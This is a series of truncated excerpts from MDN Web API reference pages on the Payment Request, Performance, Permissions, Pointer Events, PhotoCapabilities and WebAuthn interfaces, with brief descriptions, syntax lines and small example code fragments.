ntaddress.region; value a domstring specifying the top-level administrative subdivision within the country in which the address is located. this region has different names in different countries, such as: state, province, oblast, prefecture, or county. usage notes in some countries, like belgium, it's uncommon for people to provide a region as part of their postal address. in such cases, the browser returns an empty string as the value of region. however, the address should still be acceptable to use for its intended purpose (e.g., to ship a product). however, always verify addresses to make sure what the user provides is usable. specifications specification status comment payment request apithe definition of 'paymentaddress.region' in that specification. candi...
PaymentAddress.regionCode - Web APIs
ly attribute of the paymentaddress interface returns a one-, two-, or three-alphanumeric code (domstring) representing the region of the address (e.g., "ca" for california, or "11" for lisbon, portugal). the code is derived from the iso 3166-2 standard, which defines codes for identifying the subdivisions (e.g., states, provinces, autonomous regions, etc.) of all countries in the world. if the browser can't determine the region code, or the country doesn't use regions for postal addresses, it returns an empty string. syntax var regioncode = paymentaddress.regioncode; value a domstring indicating the one to three character alphanumeric code representing the region portion of the address. this should correspond to region, but should be the iso 3166--2 standard's region code. the string is ...
PaymentAddress.toJSON() - Web APIs
dress interface is a standard serializer that returns a json representation of the paymentaddress object's properties. syntax var json = paymentaddress.tojson() parameters none. return value a json object. specifications specification status comment web idlthe definition of 'tojson()' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettojson()chrome ...
PaymentRequest.abort() - Web APIs
ent timed out after 20 minutes.'); }).catch(() => { print('unable to abort, because the user is currently in the process ' + 'of paying.'); }); }, 20 * 60 * 1000); /* 20 minutes */ specifications specification status comment payment request apithe definition of 'abort()' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetabort()chrome ...
PaymentRequest.onshippingaddresschange - Web APIs
ion(paymentresponse) { // processing of paymentresponse exerpted for the same of clarity. }).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); specifications specification status comment payment request apithe definition of 'onshippingaddresschange' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonshippingaddresschange...
PaymentRequest.onshippingoptionchange - Web APIs
details.displayitems.push(shippingoption); } details.shippingoptions = [shippingoption]; return promise.resolve(details); })(details, request.shippingaddress)); }); specifications specification status comment payment request apithe definition of 'onshippingoptionchange' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonshippingoptionchangec...
PaymentRequest.shippingAddress - Web APIs
'60.00'; } details.displayitems.splice(2, 1, shippingoption); details.shippingoptions = [shippingoption]; } else { delete details.shippingoptions; } resolve(details); } specifications specification status comment payment request apithe definition of 'shippingaddress' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. no compatibility data found. please contribute data for "api.paymentrequest.shippingaddress" (depth: 1) to the mdn compatibility data repository. ...
PaymentRequest.shippingOption - Web APIs
total } = await calculateshipping(json); return { ...details, shippingoptions, total }; } catch (err) { return { ...details, error: `sorry! we can't ship to your address.` }; } } specifications specification status comment payment request apithe definition of 'shippingoption' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetshippingoptionchrome ...
PaymentRequest.shippingType - Web APIs
pping", "delivery", "pickup", or null if one was not provided by the constructor. syntax var shippingtype = paymentrequest.shippingtype value one of "shipping", "delivery", "pickup", or null. specifications specification status comment payment request apithe definition of 'shippingtype' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetshippingtypechrome ...
PaymentRequest: shippingaddresschange event - Web APIs
the shippingaddresschange event is sent to the paymentrequest object when the user selects a shipping address or changes details of their shipping address. bubbles no cancelable no interface paymentrequestupdateevent event handler property onshippingaddresschange usage notes depending on the browser, the shipping address information may be redacted for privacy reasons. that is, the paymentaddress which contains the shipping address may have some portions of its content altered, obscured, or left out entirely in order to prevent identifying the user without their consent (since if they choose to have you ship products to them, you'll need their address). example in this example, a handler for the shippingaddresschange event is set up...
PaymentRequest - Web APIs
paymentrequest, which can be set via details.id. when none is set, it defaults to a uuid. paymentrequest.shippingaddress read only secure context if requested via payment options, returns the shipping address chosen by the user for the purposes of calculating shipping. this property is only populated if the constructor is called with the requestshipping flag set to true. additionally, in some browsers, the parts of the address will be redacted for privacy until the user indicates they are ready to complete the transaction (i.e., they hit "pay"). paymentrequest.shippingoption read only secure context returns the identifier of the selected shipping option. this property is only populated if the constructor is called with the requestshipping flag set to true. paymentrequest.shippingtype re...
PaymentResponse.details - Web APIs
method: paymentresponse.methodname, // payment details as you requested details: paymentresponse.details, // shipping address information address: todict(paymentresponse.shippingaddress) }; // send information to the server }); specifications specification status comment payment request api candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdetailschrome ...
PaymentResponse.payerEmail - Web APIs
returns the email address supplied by the user. this option is only present when the requestpayeremail option is set to true in the paymentoptions object passed to the paymentrequest constructor. syntax var payeremail = paymentresponse.payeremail; specifications specification status comment payment request api candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpayeremailchrome ...
PaymentRequest.payerName - Web APIs
e requestpayername option is set to true in the options parameter of the paymentrequest() constructor. syntax var payername = paymentresponse.payername; value a string containing the payer name. specifications specification status comment payment request apithe definition of 'payername' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpayernamechrome ...
PaymentResponse.requestId - Web APIs
only property of the paymentresponse interface rreturns the free-form identifier supplied by the paymentresponse() constructor by details.id. syntax var id = paymentrequest.id value a domstring. specifications specification status comment payment request apithe definition of 'requestid' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrequestidchrome ...
PaymentResponse.retry() - Web APIs
requestorresponse.addeventlistener(event, async function listener(ev) { const promisetovalidate = validator(requestorresponse); ev.updatewith(promisetovalidate); const errors = await promisetovalidate; if (!errors) { // yay! fixed! event.removeeventlistener(event, listener); resolve(); } }); }); }...
PaymentResponse.shippingAddress - Web APIs
.amount.value = '5.00'; details.total.amount.value = '60.00'; } details.displayitems.splice(2, 1, shippingoption); details.shippingoptions = [shippingoption]; } else { delete details.shippingoptions; } resolve(details); } specifications specification status comment payment request api candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetshippingaddresschrome ...
PaymentResponse.shippingOption - Web APIs
{ reject('unknown shipping option \'' + shippingoption + '\''); return; } selectedshippingoption.selected = true; othershippingoption.selected = false; details.displayitems.splice(2, 1, selectedshippingoption); resolve(details); } specifications specification status comment payment request api candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetshippingoptionchrome ...
Payment processing concepts - Web APIs
a given processing service may have multiple urls used, depending on the version of their api, their communication technology, and so forth. https://apple.com/apple-pay payments are handled using the apple pay service. currently, apple pay is only supported by safari. https://google.com/pay payments are processed by google pay. this is currently supported only by chrome and chromium-based browsers. functions of a payment handler a user agent may provide built-in support for certain types of payments. in addition, the payment handler api can be used to establish support for additional payment method providers, in browsers that support it. in either case, the payment handler is responsible for: making sure a payment can be made. the conditions that make payment possible vary dependi...
performance.clearMarks() - Web APIs
if the method is called with no arguments, all performance entries with an entry type of "mark" will be removed from the performance entry buffer. note: this feature is available in web workers. syntax performance.clearmarks(); performance.clearmarks(name); arguments name optional a domstring representing the name of the timestamp. if this argument is omitted, all performance entries with an entry type of "mark" will be removed. return value void example the following example shows both uses of the clearmarks() method. // create a small helper to show how many performancemark entries there are. ...
performance.clearMeasures() - Web APIs
if the method is called with no arguments, all performance entries with an entry type of "measure" will be removed from the performance entry buffer. note: this feature is available in web workers. syntax performance.clearmeasures(); performance.clearmeasures(name); arguments name optional a domstring representing the name of the timestamp. if this argument is omitted, all performance entries with an entry type of "measure" will be removed. return value void example the following example shows both uses of the clearmeasures() method. // create a small helper to show how many performancemeasure entries there are. ...
performance.mark() - Web APIs
Web › API › Performance › mark
the application defined timestamp can be retrieved by one of the performance interface's getentries*() methods (getentries(), getentriesbyname() or getentriesbytype()). the mark()'s stores its data internally as performanceentry. note: this feature is available in web workers. syntax performance.mark(name); arguments name a domstring representing the name of the mark. if the name given to this method already exists in the performancetiming interface, syntaxerror is thrown. return value void example the following example shows how to use mark() to create and retrieve performancemark entries. // create a bunch of marks. ...
Performance.navigation - Web APIs
this property is not available in workers. ...
Performance.onresourcetimingbufferfull - Web APIs
note: this feature is available in web workers. syntax callback = performance.onresourcetimingbufferfull = buffer_full_cb; return value callback an eventhandler that is invoked when the resourcetimingbufferfull event is fired. examples the following example sets a callback function on the onresourcetimingbufferfull property. ...
Performance: resourcetimingbufferfull event - Web APIs
bubbles yes cancelable yes interface event event handler property onresourcetimingbufferfull examples the following example sets a callback function on the onresourcetimingbufferfull property. ...
Performance.timeOrigin - Web APIs
interface returns the high resolution timestamp of the start time of the performance measurement. note: this feature is available in web workers. syntax var timeorigin = performance.timeorigin value a high resolution timestamp. specifications specification status high resolution time level 2the definition of 'timeorigin' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettimeorigin experimental...
PerformanceEntry.duration - Web APIs
entend and performanceentry.starttime properties, respectively. "resource" - returns the difference between the resource's responseend timestamp and its starttime timestamp. this property is read only . syntax entry.duration; return value a domhighrestimestamp representing the duration of the performance entry. if the duration concept doesn't apply for a particular performance metric, the browser may choose to return a duration of 0. note: if the performance entry has an entrytype of "resource" (i.e. the entry is a performanceresourcetiming object), this property returns the difference between the performanceentry.responseend and performanceentry.starttime timestamps. example the following example shows the use of the duration property. function run_performanceentry() { log("perfo...
PerformanceEntry.startTime - Web APIs
performance entry's type: "frame" - returns the timestamp when the frame was started. "mark" - returns the timestamp when the mark was created by a call to performance.mark(). "measure" - returns the timestamp when the measure was created by a call to performance.measure(). "navigation" - returns the timestamp with a value of "0". "resource" - returns the timestamp immediately before the browser starts fetching the resource. this property is read only . syntax entry.starttime; return value a domhighrestimestamp representing the first timestamp when the performance entry was created. note: if the performance entry has an entrytype of "resource" (i.e. the entry is a performanceresourcetiming object), this property returns the performanceentry.fetchstart timestamp. example the fo...
PerformanceEntry - Web APIs
domhighrestimestamp representing the starting time for the performance metric. performanceentry.duration read only a domhighrestimestamp representing the time value of the duration of the performance event. methods performanceentry.tojson() returns a json representation of the performanceentry object. example the following example checks all performanceentry properties to see if the browser supports them and if so, write their values to the console. function print_performanceentries() { // use getentries() to get a list of all performance entries var p = performance.getentries(); for (var i=0; i < p.length; i++) { console.log("performanceentry[" + i + "]"); print_performanceentry(p[i]); } } function print_performanceentry(perfentry) { var properties = ["name", ...
PerformanceLongTaskTiming.attribution - Web APIs
celongtasktiming interface returns a sequence of taskattributiontiming instances. syntax var taskattributetiming = performancelongtasktiming.attribution; value a sequence of taskattributiontiming instances. specifications specification status comment long tasks api 1the definition of 'attribution' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetattribution experimental...
PerformanceLongTaskTiming - Web APIs
a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties performancelongtasktiming.attribution read only returns a sequence of taskattributiontiming instances. specifications specification status comment long tasks api 1the definition of 'performancelongtasktiming' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetperformancelongtasktimin...
PerformanceMark - Web APIs
performancemark is an abstract interface for performanceentry objects with an entrytype of "mark". entries of this type are created by calling performance.mark() to add a named domhighrestimestamp (the mark) to the browser's performance timeline. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="...
PerformanceMeasure - Web APIs
performancemeasure is an abstract interface for performanceentry objects with an entrytype of "measure". entries of this type are created by calling performance.measure() to add a named domhighrestimestamp (the measure) between two marks to the browser's performance timeline. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco...
PerformanceObserver.observe() - Web APIs
string specifying exactly one performance entry type to observe. may not be used together with the entrytypes option. buffered: a boolean flag to indicate whether buffered entries should be queued into the observer's buffer. must be used only with the "type" option. see performanceentry.entrytype for a list of valid performance entry type names. unrecognized types are ignored, though the browser may output a warning message to the console to help developers debug their code. if no valid types are found, observe() has no effect. examples this example creates and configures two performanceobservers; one watches for "mark" and "frame" events, and the other watches for "measure" events. var observer = new performanceobserver(function(list, obj) { var entries = list.getentries(); ...
PerformanceObserver - Web APIs
note: this feature is available in web workers. constructor performanceobserver() creates and returns a new performanceobserver object. methods performanceobserver.observe() specifies the set of entry types to observe. ...
PerformanceResourceTiming.connectEnd - Web APIs
the timestamp value includes the time interval to establish the transport connection, as well as other time intervals such as ssl handshake and socks authentication. note: this feature is available in web workers. syntax resource.connectend; return value a domhighrestimestamp representing the time after a connection is established. example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
PerformanceResourceTiming.connectStart - Web APIs
the connectstart read-only property returns the timestamp immediately before the user agent starts establishing the connection to the server to retrieve the resource. note: this feature is available in web workers. syntax resource.connectstart; return value a domhighrestimestamp immediately before the browser starts to establish the connection to the server to retrieve the resource. example in the following example, the value of the *start and *end properties of all "resource" type events are logged. function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) ...
PerformanceResourceTiming.requestStart - Web APIs
the requeststart read-only property returns a timestamp of the time immediately before the browser starts requesting the resource from the server, cache, or local resource. if the transport connection fails and the browser retires the request, the value returned will be the start of the retry request. there is no end property for requeststart. note: this feature is available in web workers. syntax resource.requeststart; return value a domhighrestimestamp representing the time immediately before the browser starts requesting the resource from the server example in the following example, the value of the *start and *end properties of all "resource" type events are logged. function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = perf...
PerformanceServerTiming - Web APIs
ailable in web workers. the performanceservertiming interface surfaces server metrics that are sent with the response in the server-timing http header. this interface is restricted to the same origin, but you can use the timing-allow-origin header to specify the domains that are allowed to access the server metrics. note that this interface is only available in secure contexts (https) in some browsers. properties performanceservertiming.descriptionread only a domstring value of the server-specified metric description, or an empty string. performanceservertiming.durationread only a double that contains the server-specified metric duration, or value 0.0. performanceservertiming.nameread only a domstring value of the server-specified metric name. methods performanceservertimin...
PerformanceTiming.fetchStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.fetchstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, the browser is ready to fetch the document using an http request. this moment is before the check to any application cache. syntax time = performance.timing.fetchstart; specifications specification status comment navigation timingthe definition of 'performancetiming.fetchstart' in that specification. recommendation initial definition. ...
PerformanceTiming.navigationStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.navigationstart read-only property returns an unsigned long long representing the moment, in milliseconds since the unix epoch, right after the prompt for unload terminates on the previous document in the same browsing context. if there is no previous document, this value will be the same as performancetiming.fetchstart. syntax time = performancetiming.navigationstart; specifications specification status comment navigation timingthe definition of 'performancetiming.navigationstart' in that specification. recommendation initial definition. ...
PerformanceTiming.requestStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.requeststart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the browser sent the request to obtain the actual document, from the server or from a cache. if the transport layer fails after the start of the request and the connection is reopened, this property will be set to the time corresponding to the new request. syntax time = performancetiming.requeststart; specifications specification status comment navigation timingthe definition of 'performancetiming.requeststart' in that specification. recommendation ...
PerformanceTiming.responseEnd - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.responseend read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the browser received the last byte of the response, or when the connection is closed if this happened first, from the server from a cache or from a local resource. syntax time = performancetiming.responseend; specifications specification status comment navigation timingthe definition of 'performancetiming.responseend' in that specification. recommendation initial definition. ...
PerformanceTiming.responseStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.responsestart read-only property returns an unsigned long long representing the moment in time (in milliseconds since the unix epoch) when the browser received the first byte of the response from the server, cache, or local resource. syntax time = performancetiming.responsestart; specifications specification status comment navigation timingthe definition of 'performancetiming.responsestart' in that specification. recommendation initial definition. ...
PeriodicWave - Web APIs
which is the value at which the oscillator starts. 0 is good here, because we want to start the curve at the middle of the [-1.0; 1.0] range. the second and subsequent values are sine and cosine components. you can think of it as the result of a fourier transform, where you get frequency domain values from time domain value. here, with createperiodicwave(), you specify the frequencies, and the browser performs an inverse fourier transform to get a time domain buffer for the frequency of the oscillator. here, we only set one component at full volume (1.0) on the fundamental tone, so we get a sine wave. the coefficients of the fourier transform should be given in ascending order (i.e. (a+bi)ei,(c+di)e2i,(f+gi)e3i\left(a+bi\right)e^{i} , \left(c+di\right)e^{2i} , \left(f+gi\right)e^{3i} etc.
Permissions.query() - Web APIs
Web › API › Permissions › query
. }) parameters permissiondescriptor an object that sets options for the query operation consisting of a comma-separated list of name-value pairs. the available options are: name: the name of the api whose permissions you want to query. an up-to-date list of permission names can be found in the spec under the permissionname enum, but bear in mind that the actual permissions supported by browsers is currently much smaller than this. firefox for example currently supports geolocation, notifications, push, and persistent-storage (see our permissions.webidl file). uservisibleonly: (push only, not supported in firefox — see the browser support section below) indicates whether you want to show a notification for every message or be able to send silent push notifications. the default is ...
Permissions.revoke() - Web APIs
ers descriptor an object based on the permissiondescriptor dictionary that sets options for the operation consisting of a comma-separated list of name-value pairs. the available options are: name: the name of the api whose permissions you want to query. valid values are 'geolocation', 'midi', 'notifications', and 'push'. uservisibleonly: (push only, not supported in firefox — see the browser compatibility section below) indicates whether you want to show a notification for every message or be able to send silent push notifications. the default is false. sysex: (midi only) indicates whether you need and/or receive system exclusive messages. the default is false. note: as of firefox 44, the permissions for notifications and push have been merged. if permission is granted (e.
Permissions API - Web APIs
checking of permission status and requesting permission, whereas the geolocation api doesn't (which causes problems if the user denied the initial permission request). the permissions api provides the tools to allow developers to implement a better user experience as far as permissions are concerned. the permissions property has been made available on the navigator object, both in the standard browsing context and the worker context (workernavigator — so permission checks are available inside workers), and returns a permissions object that provides access to the permissions api functionality. once you have this object you can then perform permission-related tasks, for example querying a permission using the permissions.query() method to return a promise that resolves with the permissionst...
PhotoCapabilities.fillLightMode - Web APIs
rray of available fill light modes. auto the device's fill light will be used automatically in low light conditions. off no fill light will be used. flash always use the device's fill light. specifications specification status comment mediastream image capturethe definition of 'filllightmode' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilllightmode experimen...
PhotoCapabilities.imageHeight - Web APIs
e returns a mediasettingsrange object indicating the image height range supported by the user agent. syntax var mediasettingsrange = photocapabilities.imageheight value a mediasettingsrange object. specifications specification status comment mediastream image capturethe definition of 'imageheight' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetimageheight experimenta...
imageWidth - Web APIs
eturns a mediasettingsrange object indicating the image width range supported by the user agent. syntax var mediasettingsrange = photocapabilities.imagewidth value a mediasettingsrange is an object. specifications specification status comment mediastream image capturethe definition of 'imagewidth' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetimagewidth experimental...
PhotoCapabilities.redEyeReduction - Web APIs
. always red-eye reduction is available in the source and it is always turned on. controllable red-eye reduction is available in the source and it is configurable via the photosettings object. specifications specification status comment mediastream image capturethe definition of 'redeyereduction' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetredeyereduction experim...
PhotoCapabilities - Web APIs
es.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosettings.imagewidth; }) .catch(error => console.log('argh!', error.name || error)); specifications specification status comment mediastream image capturethe definition of 'photocapabilities' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetphotocapabilities exper...
Plugin - Web APIs
Web › API › Plugin
properties plugin.description read only a human readable description of the plugin. plugin.filename read only the filename of the plugin file. plugin.name read only the name of the plugin. plugin.version read only the plugin's version number string. methods plugin.item returns the mime type of a supported content type, given the index number into a list of supported types. plugin.nameditem returns the mime type of a supported item. ...
PluginArray - Web APIs
of plugin objects describing the available plugins; it's returned by the window.navigator.plugins property. the pluginarray is not a javascript array, but has the length property and supports accessing individual items using bracket notation (plugins[2]), as well as via item(index) and nameditem("name") methods. note: own properties of pluginarray objects are no longer enumerable in the latest browser versions. properties pluginarray.lengthread only the number of plugins in the array. methods pluginarray.item returns the plugin at the specified index into the array. pluginarray.nameditem returns the plugin with the specified name. pluginarray.refresh refreshes all plugins on the current page, optionally reloading documents. examples the following example function returns ...
PointerEvent.getCoalescedEvents() - Web APIs
that were coalesced into the dispatched pointermove event. syntax var pointerevents[] = pointerevent.getcoalescedevents() parameters none. returns a sequence of pointerevent instances. specifications specification status comment pointer events – level 3the definition of 'getcoalescedevents()' in that specification. editor's draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetcoalescedevents exp...
PointerEvent.height - Web APIs
the height read-only property of the pointerevent interface represents the height of the pointer's contact geometry, along the y-axis (in css pixels). depending on the source of the pointer device (for example a finger), for a given pointer, each event may produce a different value. if the input hardware cannot report the contact geometry to the browser, the height defaults to 1. syntax var contactheight = pointerevent.height; return value contactheight the height of the event's contact area (in css pixels). example an example of this property is included in the pointerevent.width example. specifications specification status comment pointer events – level 2the definition of 'height' in that specification. recommendation non-stable version. ...
PointerEvent.pointerType - Web APIs
n pointer event. syntax var ptype = pointerevent.pointertype; return value ptype the event's pointer type. the supported values are the following strings: "mouse" the event was generated by a mouse device. "pen" the event was generated by a pen or stylus device. "touch" the event was generated by a touch, such as a finger. if the device type cannot be detected by the browser, the value can be an empty string (""). if the browser supports pointer device types other than those listed above, the value should be vendor-prefixed to avoid conflicting names for different types of devices. example this example illustrates using the value of the pointertype property to call the appropriate pointer type processing function. targetelement.addeventlistener('pointerdown', fu...
PointerEvent.width - Web APIs
the width read-only property of the pointerevent interface represents the width of the pointer's contact geometry along the x-axis, measured in css pixels. depending on the source of the pointer device (such as a finger), for a given pointer, each event may produce a different value. if the input hardware cannot report the contact geometry to the browser, the width defaults to 1. syntax var contactwidth = pointerevent.width; return value contactwidth the width of the event's contact area (in css pixels). example this example illustrates using the pointerevent interface's width and height properties to calculate the contact area. target.addeventlistener("pointerdown", function(ev) { // calculate the contact area var area = ev.width * ev.height; }, false); specifications ...
Pinch zoom gestures - Web APIs
and border remove_event(ev); ev.target.style.background = "white"; ev.target.style.border = "1px solid black"; // if the number of pointers down is less than two then reset diff tracker if (evcache.length < 2) { prevdiff = -1; } } application ui the application uses a <div> element for the touch area and provides buttons to enable logging and to clear the log. to prevent the browser's default touch behavior from overriding this application's pointer handling, the touch-action property is applied to the <body> element. <body onload="init();" style="touch-action:none"> <div id="target">touch and hold with 2 pointers, then pinch in or out.<br/> the background color will change to pink if the pinch is opening (zoom in) or changes to lightblue if the pinch is closing ...
PopStateEvent - Web APIs
ries for the same document. if the history entry being activated was created by a call to history.pushstate() or was affected by a call to history.replacestate(), the popstate event's state property contains a copy of the history entry's state object. note: just calling history.pushstate() or history.replacestate() won't trigger a popstate event. the popstate event is only triggered by doing a browser action such as a clicking on the back button (or calling history.back() in javascript). and the event is only triggered when the user navigates between two history entries for the same document. note: browsers used to handle the popstate event differently on page load, but now they behave the same. firefox never emitted a popstate event on page load. chrome did until version 34, while safari...
Proximity Events - Web APIs
hen the user is having a phone call with the device close to their ear. note: obviously, the api requires the device to have a proximity sensor, which are mostly available only on mobile devices. devices without such a sensor may support those events but will never fire them. proximity events when the device proximity sensor detects a change between the device and an object, it notifies the browser of that change. when the browser gets such a notification, it fires a deviceproximityevent for any change, and a userproximityevent event in the case of a more rough change. this event can be captured at the window object level by using the addeventlistener method (using the deviceproximity or userproximity event name) or by attaching an event handler to the window.ondeviceproximity or window.
PublicKeyCredential.getClientExtensionResults() - Web APIs
. during the creation or fetching of a publickeycredential (respectively via navigator.credentials.create() and navigator.credentials.get()), it is possible to have "custom" processing by the client for different extensions which are respectively given by publickeycredentialcreationoptions.extensions and publickeycredentialrequestoptions.extensions. note: extensions are optional and different browsers may recognize different extensions. all extensions are optional for the client to process them: if a browser does not know of a given extension, that will not cause any failure. note: this method may only be used in top-level contexts and will not be available in an <iframe> for example. syntax maparraybuffer = publickeycredential.getclientextensionresults() parameters none. return va...
PublicKeyCredentialCreationOptions.extensions - Web APIs
thentication operation) is protected. biometricperfbounds object with two numerical properties: far and frr biometric authenticator performance bounds. the client must not use any authenticator with false acceptance rate (far) and false rejection rate (frr) below the inputs. the client outputs true if this was taken into account. note: extensions are optional and different browsers may recognize different extensions. all extensions are optional for the client to process them: if a browser does not know a given extension, that will not cause any failure, the extension simply will not be processed. examples var publickey = { extensions:{ uvi: true, loc: false, uvm: false, exts: true }, challenge: new uint8array(26) /* this actually is given from th...
PublicKeyCredentialCreationOptions.timeout - Web APIs
